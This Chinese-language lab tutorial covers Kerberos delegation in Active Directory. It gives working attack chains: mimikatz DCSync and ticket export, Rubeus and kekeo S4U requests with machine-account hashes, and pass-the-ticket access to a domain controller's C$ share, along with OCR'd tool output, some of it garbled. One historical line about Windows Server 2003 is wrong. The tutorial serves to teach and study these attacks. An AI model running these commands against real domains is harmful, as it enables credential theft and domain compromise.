一、委派
概述
从Windows 2000开始，微软增加了委派功能，委派共分为三种：
非约束性委派（Windows Server 2000）

约束性委派（Windows Server 2003）

基于资源的约束委派（Windows Server 2012）

委派是一种应用模式，指的是将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动。
非约束性委派
当用户以 Kerberos 认证访问配置了非约束委派机器的服务时，KDC 会把该用户的 TGT 转发/嵌入到该服务可获取的凭据中。
服务会把用户 TGT 缓存在 LSASS 内存中。
之后，该服务可以使用这个 TGT，以用户身份向任意服务申请服务票证。
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存在的问题
如果配置了非约束性委派的机器被控制：
如果没有对非约束性委派的机器做限制，则该机器就可以代表用户访问域内任意机器；

如果域管理员访问了非约束性委派的机器，那么整个域内机器都可能被控制；

约束性委派
Windows Server 2003 之后微软引入了非约束性委派，由于非约束性委派的不安全性或者场景或限制（配置了非约束性委派的机器在LSASS中缓存了用户的TGT票据可以模拟用户去访问域中任意服务），微软于2007年为Kerberos协议进行了扩展引入了S4U（Service For User）协议，该协议分为两个子协议：
S4U2Self（Service For User To Self）

S4U2Proxy（Service For User To Proxy）

两个子协议都允许服务代表用户从KDC中请求票据，约束委派限制了S4U2Proxy协议的请求范围，使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。
也就是说：约束性委派是对委派的机器做了约束，被委派的机器只能访问设定好的服务。
S4U协议
2007年为Kerbero协议进行了扩展引入S4U（service for user）协议，该协议有两个子协议：
S4U2Self（Service For User To Self）

S4U2Proxy（Service For User To Proxy）

两个扩展协议都允许服务代表用户从KDC中请求票据，约束性委派限制了S4U2Proxy协议的请求范围，使得配置了约束性委派属性的服务只能模拟用户身份访问特定的服务。
约束性委派与基于资源的约束性委派都会用到这两个协议。
执行流程：
如果用户在域外，想要访问域内的资源，则需要：
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用户A访问服务器B，服务器B代表A向KDC申请访问服务器B的TGT和ST-B（使用S4U2Self协议），用户A拿到了ST-B就可以访问服务器B了。
如果在服务器B上配置了约束性委派（A到C的约束性委派），则服务器B能够使用S4U2Proxy协议将用户A发给自己的ST-B票据，转发以用户A的身份发给KDC，KDC返回服务器B访问文件系统C的票据ST-C，这样服务器B就可以访问文件系统C。
具体流程：
用户A通过NTLM或者其他认证能够访问服务器B

服务器B代表用户A申请访问服务器B的票据（TGT和ST-B）

KDC返回用户A的TGT和ST-B票据给服务器B

B把ST-B的票据给到用户A

用户A拿着ST-B的票据访问WEB系统B

服务器B拿着用户A的ST-B票据作为证据，去向KDC申请访问文件系统C的ST-C票据

服务器B系统使用ST-C的票据访问文件系统

存在的问题：
服务账号B可以代表用户A向KDC申请访问B的票据，那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢？

在这个过程中，不需要域内管理员的参与，在服务账号B自身就可以完成；
服务账号B可以代表用户A向KDC申请访问C的票据，那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢？

在这个过程中，不需要域内管理员的参与，在服务账号B自身就可以完成；
S4U数据包
网络拓扑图：
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在域控中，设置Server16机器账号的约束性委委派，可以访问WIN12的CIFS服务。
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#在域控中执行DCsync攻击

lsadump::dcsync /all /csv

#机器账号：SERVER16$

b42b51830bff052157e3619d703c6a92



#在Server16中执行Rubeus，Rubeus是一套用于 与原始Kerberos交互的工具集（需要.NET 3.5框架）

Rubeus.exe s4u /user:机器账号名称 /rc4:机器账号的hash值 /domain:域名  /msdsspn:委派的服务  /impersonateuser:伪造的用户名称 /ptt

Rubeus.exe s4u /user:SERVER16$ /rc4:b42b51830bff052157e3619d703c6a92 /domain:abc.com  /msdsspn:CIFS/win12.abc.com  /impersonateuser:administrator /ptt



#执行命令时，启动wireshark抓包工具

[image: ]
[image: ]
二、非约束性委派
设置委派
机器账号：
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注册SPN（Server Principal Name）的账号：
Kerberos身份验证使用SPN将服务实例与服务账户进行关联，在域中如果有多个服务，那么每个服务都必须有自己的SPN和用户。

一个用户可以有多个SPN，但是一个SPN只能对应一个服务，SPN必须注册在用户下。
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服务用户：用于登录运行服务的用户

服务：运行在计算机上的服务

配置了非约束性委派的机器，一旦访问该机器，TGT就会被缓存在LSASS进程的内存中，通过klist是不能查看的，必须查看内存。
注意：普通域用户默认是没有委派选项的，必须先用 setspn 命令为其注册一个 SPN (Service Principal Name)，使其成为“服务账户”，之后该账户的属性中才会出现 “委派”选项卡。
#将普通域用户，注册为服务账号

setspn -U -A <服务名>/<主机名> <域用户名>

setspn -U -A http/win08 win08

#选择当前域用户的组织单元，进行刷新操作，再查看当前用户选项卡，即可出现委派选项

值得注意的是：
域控是默认配置了非约束性委派的；

配置的非约束性委派最好是机器用户。
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查询委派
设置委派之后，Windows server 2008需要重新注销登录。
#查看域内非约束性委派的机器用户

AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn





#查看域内非约束性委派的服务用户

AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

[image: ]
[image: ]
委派攻击
#1.诱导域管理员域控访问机器,例如，DC机器执行：

dir \\win08.abc.com\c$



#2.在委派域服务器中使用mimikatz工具，将内存中的票据导出

privilege::debug

sekurlsa::tickets /export





#3.使用mimiktaz中的kerberos模块将administrator票据注入内存即可

kerberos::ptt [0;5dfdb]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi



#4.新开会话窗口，刷新票据信息，访问dc的共享磁盘

dir \\dc.abc.com\c$
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设置委派前：
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设置委派后：
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票据传递：
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三、约束性委派
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约束性委派的设置分为两种：
仅使用Kerberos

可以使用任何身份协议
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机器设置委派
机器账号设置约束性委派：
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用户设置委派
对于用户而言，需要先注册为SPN服务账号，才可以添加委派
#将普通域用户，注册为服务账号

setspn -U -A <服务名>/<主机名> <域用户名>

setspn -U -A cifs/win08 win08

#选择当前域用户的组织单元，进行刷新操作，再查看当前用户选项卡，即可出现委派选项
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查询委派
设置委派之后，Windows server 2008需要重新注销登录。
#查看域内约束性委派的机器用户

AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto





#查看域内约束性委派的服务用户

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
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委派攻击
Windows server 2008机器中执行操作。
#1.查询设置委派的机器用户

AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto



#2.使用mimikatz，获取到win08机器的hash值

privilege::debug

token::elevate

lsadump::secrets



#或者在域控中执行DCsync攻击

lsadump::dcsync /all /csv



#3.在win8中 使用kekeo.exe工具申请TGT票据

kekeo.exe "tgt::ask /user:机器用户名 /domain:域名 /NTLM:机器账号的哈希值"

kekeo.exe "tgt::ask /user:WIN08$ /domain:abc.com /NTLM:2e2960fd198e49eb3c2e0cb81882e7e5" "exit"



#4.申请ST票据，此命令会生成两张票据，分别是用户访问win08与用户访问win12的ST票据

kekeo.exe “tgs::s4u /tgt:TGT票据 /user:Administrator@域名 /service:委派的SPN" "exit"



kekeo.exe "tgs::s4u /tgt:TGT_WIN08$@ABC.COM_krbtgt~abc.com@ABC.COM.kirbi /user:administrator@abc.com /service:cifs/win12.abc.com" "exit"



#5.使用mimikatz将ST2票据，访问win12机器的票据注入到内存中

kerberos::ptt 



获取win8机器用户哈希值：
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使用机器账号的哈希值，申请TGT：
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申请ST票据：
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将ST2票据，访问win12机器的票据注入到内存中：
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四、基于资源的约束性委派
微软在Windows Server 2012中新引入了基于资源的约束性委派（Resource Based Constrained Delegation），简称RBCD。
基于资源的约束性委派将不需要通过域管理员进行修改，而是将设置属性的权限给了服务资源本身。
以WEB服务器和文件服务器为例，传统的约束性委派需要域控中，将委派设置到WEB服务器中的机器账号或者用户账号，以指定对文件服务器上的哪一个服务进行委派。
而在基于资源的约束性委派中，则只需要在文件服务器上设置资源委派，以允许WEB服务器对文件服务器上的服务进行委派。
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## / \ ## /*** Benjamin DELPY "gentilkiwi~ ( benjamin@gentilkiwi.com )

## \ / ## > https://blog.gentilkiwi.com/mimikatz

"## v ##' Vvincent LE TOUX ( vincent.letoux@gmail.com )
" HHRR > https://pingcastle.com / https://mysmartlogon.com **%*

n;mikatz # kerberos::ptt [0;365183]-2-0-60a10000-Administrator@krbtgt-ABC.COM.ki
"bi

* File: "[0;365183]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi": OK
C:\Users\win08>dir \\dc.abc.com\c$
Access is denied.

C:\Users\win08>dir \\dc.abc.com\c$
Access is denied.

C:\Users\win08>dir \\dc.abc.com\c$
volume in drive \\dc.abc.com\c$ has no label.
Volume Serial Number is D494-6647

Directory of \\dc.abc.com\c$

2026/10/11 21:52 0 good.txt
2016/07/16 21:23 <DIR> PerfLogs
2026/10/09 21:10 <DIR> Program Files
2016/07/16 21:23 <DIR> Program Files (x86)
2026/10/09 21:09 <DIR> Users
2026/10/14 22:00 <DIR> Windows

1 File(s) 0 bytes

5 Dir(s) 7,683,284,992 bytes free
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sl
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\win08>cd Desktop

C:\Users\win0O8\Desktop>AdFind.exe -b "DC=abc,DC=com" -f " (&(samAccountType=80530|
6369) (msds-alTlowedtodelegateto=*))" msds-allowedtodelegateto

AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020

Using server: DC.abc.com:389
Directory: Windows Server 2016

dn:CN=WINO8,CN=Computers,DC=abc,DC=com

>msDS-AllowedToDelegateTo: cifs/WIN12.abc.com
>msDS-AllowedToDelegateTo: cifs/WIN12

1 Objects returned
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C:\Users\win0O8\Desktop>AdFind.exe -b "DC=abc,DC=com" -f " (&(samAccountType=80530|
6368) (msds-alTlowedtodelegateto=*))" msds-allowedtodelegateto

AdFind V01.52.00cpp Joe Richards (support@joeware.net) January 2020

Using server: DC.abc.com:389
Directory: Windows Server 2016

dn:CN=win08,0U=0n0abc,DC=abc,DC=com

>msDS-AllowedToDelegateTo: cifs/WIN12.abc.com
>msDS-AllowedToDelegateTo: cifs/WIN12

1 Objects returned
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nimikatz # lsadump::dcsync
DC] *abc.com” will be the
DC] ’DC. abc. com’ will be

rpc] Service : ldap
rpc] AuthnSve : GSS_NEGOT

500 Administrator b6

105 winl2  0d546438bl
103 winl0  0d546438bl

104 win08  0d546438bl

nimikatz #

DC] Exporting domain ’abc

/all /csv
domain

he DC server
com’

ATE (9)

000 DC$ £093c6687aabcb59bbeaa3ddale9d6£986e
fedcbblab4f59dd213d03eb992b759
502 krbtgt 1d7abaa4e990ee6190d07410208e2f0d

f4c396753b4fc8c8565d5b
f4c396753b4fc8c8565d5b

108 WIN12§ 8b5f70f4c1b2bef8dd63a70053c630e9
107 WINO8S 2e2960fd198e49eb3c2e0ch81882e7eb

f4c396753b4fc8c8565d5b

532480

512
514
66176
66048
4096
16781312
16843264
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C:\Users\winO8\Desktop\2>kekeo.exe "tgt::ask /user:WINO8$ /domain:abc.com /NTLM:
2e2960fd198e49eb3c2e0cb81882e7e5"

_ kekeo 2.1 (x86) built on Dec 14 2021 11:52:31

| (;>— ;A La Vie, A L'Amour"
K * * %

/ Benjamin DELPY "gentilkiwi ~ ( benjamin@gentilkiwi.com )
L\_ https://blog.gentilkiwi.com/kekeo (oe.eo0)

with 10 modules * * */

kekeo(commandline) # tgt::ask /user:WINO8$% /domain:abc.com /NTLM:2e2960fd198e49¢
b3c2e0cb81882e7e5

Realm abc.com (abc)

User : WINOSS (WINOS8S)

CName : WINOS8S [KRB_NT_PRINCIPAL (1)]

SName : krbtgt/abc.com [KRB_NT_SRV_INST (2)]

Need PAC : Yes

Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 2e2960fd198e49eb3c2e0cb81¢
82e7e5

[kdc] name: DC.abc.com (auto)
[kdc] addr: 192.168.88.200 (auto)
> Ticket in file '"TGT_WINO8$@ABC.COM_krbtgt~abc.com@ABC.COM.kirbi"

kekeo #
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L\_ https://blog.gentilkiwi.com/kekeo (oe.eo0) <]
with 10 modules * * */

kekeo(commandline) # tgs::s4u /tgt:TGT_WINO8$@ABC.COM_krbtgt~abc.com@ABC.COM.kir
bi /user:administrator@abc.com /service:cifs/winl2.abc.com
Ticket : TGT_WINO8$@ABC.COM_krbtgt~abc.com@ABC.COM.k1irbi

[krb-cred] S: krbtgt/abc.com @ ABC.COM

[krb-cred] E: [00000012] aes256_hmac

[enc-krb-cred] P: WINO8$ @ ABC.COM

[enc-krb-cred] s: krbtgt/abc.com @ ABC.COM

[enc;krb—cred] T: [2026/10/17 10:25:13 ; 2026/10/17 20:25:13] {R:2026/10/24 10
:25:13

[enc-krb-cred]
able ; forwardable ;

[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 3ab4298b8f72cfe329a9d
5be51b150c05342102538b40b77bc8fb74bf3ee5e46

[s4u2self] administrator@abc.com
[kdc] name: DC.abc.com (auto)
[kdc] addr: 192.168.88.200 (auto)

> Ticket in file 'TGS_administrator@abc.com@ABC.COM_WINO8$@ABC.COM.kirbi"
Service(s):

[s4u2proxy] cifs/winl2.abc.com
k? Ejgket in file 'TGS_administrator@abc.com@ABC.COM_cifs~winl2.abc.com@ABC.COM
.kirbi

el

: [40e10000] name_canonicalize ; pre_authent ; initial ; rene

kekeo(commandline) # exit =
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mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
"A La Vie, A L'Amour” - (oe.eo)
**%* Benjamin DELPY "gentilkiwi~ ( benjamin@gentilkiwi.com )
> https://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letoux@gmail.com )

xTAX

> https://pingcastle.com / https://mysmartlogon.com

mimikatz # kerberos::ptt TGS_administrator@abc.com@ABC.COM_cifs~winl2.abc.com@AB|
C.COM. kirbi

File: 'TGS_administrator@abc.com@ABC.COM_cifs~winl2.abc.com@ABC.COM.kirbi"':

X
B
C:\Users\win08>dir \\winl2.abc.com\c$ I
Access is denied.

C:\Users\win08>dir \\winl2.abc.com\c$
volume in drive \\winl2.abc.com\c$ has no label.
Volume Serial Number is 4004-962B

Directory of \\winl2.abc.com\c$

2013/08/22 23:52 <DIR> PerfLogs
2026/10/09 21:41 <DIR> Program Files
2013/08/22 23:39 <DIR> Program Files (x86)
2026/10/17 10:32 <DIR> Users
2026/10/09 21:40 <DIR> Windows

0 File(s) 0 bytes

5 Dir(s) 9,519,489,024 bytes free
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